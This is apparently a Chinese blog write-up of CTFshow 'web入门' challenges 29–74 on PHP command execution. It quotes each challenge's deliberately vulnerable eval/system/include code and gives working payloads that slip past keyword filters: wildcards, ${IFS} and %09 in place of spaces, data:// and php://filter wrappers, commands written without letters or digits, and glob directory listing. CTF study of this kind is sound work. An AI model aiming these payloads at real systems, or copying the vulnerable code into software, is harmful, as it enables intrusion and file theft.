CTFSHOW-WEB入门-命令执行

web29

①考点:通配符绕过

②关键源代码:

if(isset($_GET['c']))
{
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c))
    {
        eval($c);
    }
}

③由于绕过了flag,直接/?c=system('cat f*');再查看源码,flag就出来了

web30

①这题增加了对命令执行函数的过滤

②关键代码

if(isset($_GET['c']))
{
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c))
    {
        eval($c);
    }
}

③常见的命令执行函数有

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec() 

只有system函数是有回显的,其他函数可以通过echo来显示

④构造payload:

/?c=echo`cat f*`;

web31

①过滤了这些关键字以及空格,单引号和句号

②关键代码

if(isset($_GET['c']))
{
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c))
    {
        eval($c);
    }
}

③空格绕过

> < <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20
%09

④cat绕过

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容

⑤解法一:payload如下

/?c=echo(`tac%09f*`);

解法二:payload如下

/?c=eval($_GET[a]);&a=system('cat flag.php');

解法二:hint:

show_source(next(array_reverse(scandir(pos(localeconv()))))

具体各个函数的用法这篇博客写得很详细

web32

①考点:文件包含以及伪协议读取

②关键代码:

if(isset($_GET['c']))
{
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c))
    {
        eval($c);
    }
}

这次又过滤了分号,反引号,echo,左括号

③直接用include进行无括号的文件包含,分号用?>替代,payload如下:

/?c=include%09$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web33

 ①关键代码:

if(isset($_GET['c']))
{
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c))
    {
        eval($c);
    }
}

 ②和上题解法一样

/?c=include%09$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web34

①关键代码:

if(isset($_GET['c']))
{
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c))
    {
        eval($c);
    }
}

②只是又过滤了一个冒号,对解题没有任何影响,payload同上

/?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web35

①关键代码

if(isset($_GET['c']))
{
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c))
    {
        eval($c);
    }
}

②又多过滤了一个左尖括号,同样没什么影响,payload同上

/?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web36

①关键代码

if(isset($_GET['c']))
{
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c))
    {
        eval($c);
    }
}

②就是多过滤了个数字,payload还是不变

/?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37

①关键代码

if(isset($_GET['c']))
{
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c))
    {
        include($c);
        echo $flag;
    }
}

②用data伪协议

data伪协议:将后面的字符当做PHP代码执行

data://,类似php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

③payload:

/?c=data://text/plain,<?php system("cat f*")?>

web38

①关键代码

if(isset($_GET['c']))
{
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c))
    {
        include($c);
        echo $flag;
    }
}

②与上题相比,多过滤了一个php,用base64编码绕过即可

/?c=data:<span class="hljs-comment">//text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZioiKTs/Pg==

③注意一下细节就是,这个data语句要用分号结尾不能用逗号,不然就回显逗号后面的内容

web39

①关键代码

if(isset($_GET['c']))
{
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c))
    {
        include($c.".php");
    }
}

②题目提示:

data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用

③payload如下:

/?c=data://text/plain,<?php system("cat *");?>

web40

①关键代码

if(isset($_GET['c']))
{
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c))
    {
        eval($c);
    }
}

②过滤了好多符号,不过那个括号应该是中文括号,同web31,进行无参数的文件读取,payload如下:

/?c=show_source(next(array_reverse(scandir(current(localeconv())))));

web41

①关键代码

if(isset($_POST['c']))
{
    $c = $_POST['c'];
    if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c))
    {
        eval("echo($c);");
    }
}

②大佬博客:https://blog.csdn.net/miuzzx/article/details/108569080,救命,已经爆出来了,就是不对、、、

web42

①关键代码

if(isset($_GET['c']))
{
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}

②这题主要考的是一个神奇的黑洞,看完这篇/dev/null 2>&1详解就明白了,只要让c先执行就行

;	//分号
|	//只执行后面那条命令
||	//只执行前面那条命令
&	//两条命令都会执行
&&	//两条命令都会执行

③payload:/?c=cat flag.php;

web43

①关键代码

if(isset($_GET['c']))
{
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c))
    {
        system($c." >/dev/null 2>&1");
    }
}

②这题与上题相比过滤了cat和分号,但还有好多函数可以用,分号也可以用||替代

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
grep
strings

③payload如下:

/?c=tac flag.php||

web44

①关键代码

if(isset($_GET['c']))
{
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c))
    {
        system($c." >/dev/null 2>&1");
    }
}

②这题过滤了cat,flag和;,只要把flag用通配符过滤就行了

③payload:

/?c=tac f*||

web45

①关键代码

if(isset($_GET['c']))
{
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c))
    {
        system($c." >/dev/null 2>&1");
    }
}

②这题多过滤了一个空格,空格有以下绕过方式

> < <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20
%09

这题不知道为什么%20不行,%09就可以

③payload:

/?c=tac%09f*||

web46

①关键代码

if(isset($_GET['c']))
{
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c))
    {
        system($c." >/dev/null 2>&1");
    }
}

②过滤了;|cat|flag| |[0-9]|\\$|\*,通配符可以用?替代,不过要注意的是?只能替代一个字符,而原来的*不限制字符的个数,空格用%09,而且%09竟然不属于数字

③payload如下:

/?c=tac%09f?ag.php||

web47

①关键代码

if(isset($_GET['c']))
{
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c))
    {
        system($c." >/dev/null 2>&1");
    }
}

②只是多过滤了一些关键字,用tac还是可以

③payload如下:

/?c=tac%09f?ag.php||

web48

①关键代码

if(isset($_GET['c']))
{
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c))
    {
        system($c." >/dev/null 2>&1");
    }
}

②完全是虚张声势,可以用tac和nl

③payload如下:

/?c=tac%09f?ag.php||

web49

①关键代码

if(isset($_GET['c']))
{
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c))
    {
        system($c." >/dev/null 2>&1");
    }
}

②payload同上,但我不理解的是%09的%为什么也不会被过滤就像数字一样???

web50

①关键代码

if(isset($_GET['c']))
{
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c))
    {
        system($c." >/dev/null 2>&1");
    }
}

②要注意一下,重定向符和?一起用没有回显,所以这里?用\代替或者用''

③payload如下:

/?c=tac<fl\ag.php||
/?c=tac<fl''ag.php||

web51

①关键代码

if(isset($_GET['c']))
{
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c))
    {
        system($c." >/dev/null 2>&1");
    }
}

②过滤了tac,但可以用nl,%0a是换行,也可以作为命令分隔

③payload如下:

/?c=nl<fl\ag.php||
/?c=nl<fl\ag.php%0a

web52

①关键代码

if(isset($_GET['c']))
{
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c))
    {
        system($c." >/dev/null 2>&1");
    }
}

②这题过滤了重定向符,可以用${IFS},但是这个flag是假的,要先查看一下根目录,再读取flag文件

③payload如下:

/?c=ls${IFS}/%0a    //查看根目录
/?c=nl${IFS}/fl\ag%0a    //读取根目录下的flag文件

web53

①关键代码

if(isset($_GET['c']))
{
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c))
    {
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else
    {
        echo 'no';
    }
}

②没有/dev/null/了,不需要做命令分隔

③payload如下:

/?c=nl${IFS}fl\ag.php

web54

①关键代码

if(isset($_GET['c']))
{
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c))
    {
        system($c);
    }
}

②解法一:grep${IFS}fla${IFS}fla?.php

意思就是在fla?.php中找到包含fla的文件,然后打印出来

③解法二(改文件名然后直接访问):rm${IFS}fl?g.php${IFS}a.txt

意思是将fl?g.php文件名改成a.txt然后url/a.txt访问得到flag

web55

①关键代码

if(isset($_GET['c']))
{
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c))
    {
        system($c);
    }
}

②没过滤. 数字 ?看一下大佬博客继无字母数字的命令执行(ctfshow web入门 55)新姿势

③解法一:c=/???/????64 ????.???

相当于c=/bin/base64 flag.php

有些浏览器可能限制字符长度,换个浏览器就好了

④解法二:c=/???/???/????2 ????.???

相当于c=/usr/bin/bzip2 flag.php

用bzip2将flag.php先进行压缩然后访问url/flag.php.bz2打开flag.php文件

web56

①关键代码

if(isset($_GET['c']))
{
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c))
    {
        system($c);
    }
}

②这题既过滤了数字又过滤了所有小写字母,所以这题的姿势很有意思

先构造一个文件上传的html页面,代码如下:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST文件上传</title>
</head>
<body>
<form action="http://59bd884e-d64a-4dc1-aaf7-3561c5a9b93c.challenge.ctf.show/" method="post" enctype="multipart/form-data">
    <!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

然后上传一个new2.php文件并抓包,多试几次,因为不一定生成的临时文件的最后一个字母是大写,文件内容如下:

抓包之后,添加参数c=.%20/???/????????[@-[],如图:

这样它就执行了ls命令,至于为什么要构造c=.%20/???/????????[@-[]呢?

所以传入这个参数的意思就是匹配上传new2.php所生成的临时文件,并执行。

接着直接用cat flag.php查看一下flag.php文件就好了

web57

①关键代码

//flag in 36.php
if(isset($_GET['c']))
{
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c))
    {
        system("cat ".$c.".php");
    }
}

②这题难在它过滤了?,不能用通配符进行无数字字母webshell,而且过滤了大量字符,只能用$和()构造数字,因为system函数中已经提供了cat和.php,所以只要构造出36就好了

用$和()构造数字执行以下脚本

data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data) #如果要构造其他数字,执行把数字部分改为加1

得到payload实际上就是36个1:

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

web58-65突破禁用函数

①关键代码

if(isset($_POST['c']))
{
        $c= $_POST['c'];
        eval($c);
}

②payload:

c=show_source("flag.php");
c=echo highlight_file('flag.php');
c=highlight_file("flag.php");

web66

代码还是一样的,但过滤的内容不一样了,准确地说应该是文件名不一样了

c=print_r(scandir("/"));//查看根目录下的所有文件

然后查看flag.txt文件

c=highlight_file("/flag.txt");

web67

print_r被ban了,使用var_dump,payload如下:

c=var_dump(scandir("/"));
c=highlight_file("/flag.txt");

web68-70(将文件显示换成文件包含)

过滤了show_source,highlight_file,print_r,可以用include

c=include('/flag.txt');

web71

①关键代码

if(isset($_POST['c']))
{
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();//获取缓冲区内容,但是不清除
        ob_end_clean();//清空缓冲区,eval($c)的内容就没了
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);//将缓冲区的信息替换后输出
}

②用exit();停止后面的程序,payload如下:

c=include("/flag.txt");exit();

web72-74(glob协议扫描目录)

①关键代码

if(isset($_POST['c']))
{
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}

②之前的姿势不行了,这题要用glob协议扫描目录,有两种方法

解法一:直接找.txt结尾的文件

c=$a="glob:///*.txt";if($b=opendir($a)){	
  while(($file=readdir($b))!==false){		
  echo "filename:",$file."\n";	
}	
closedir($b);
}
exit();

解法二:相当于ls

c=?><?php	
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){echo($f->__toString().' ');}
exit(0);?>

③找到文件为flag0.txt

posted @ 2022-01-21 13:22  Athena-ydy  阅读(724)  评论(0编辑  收藏  举报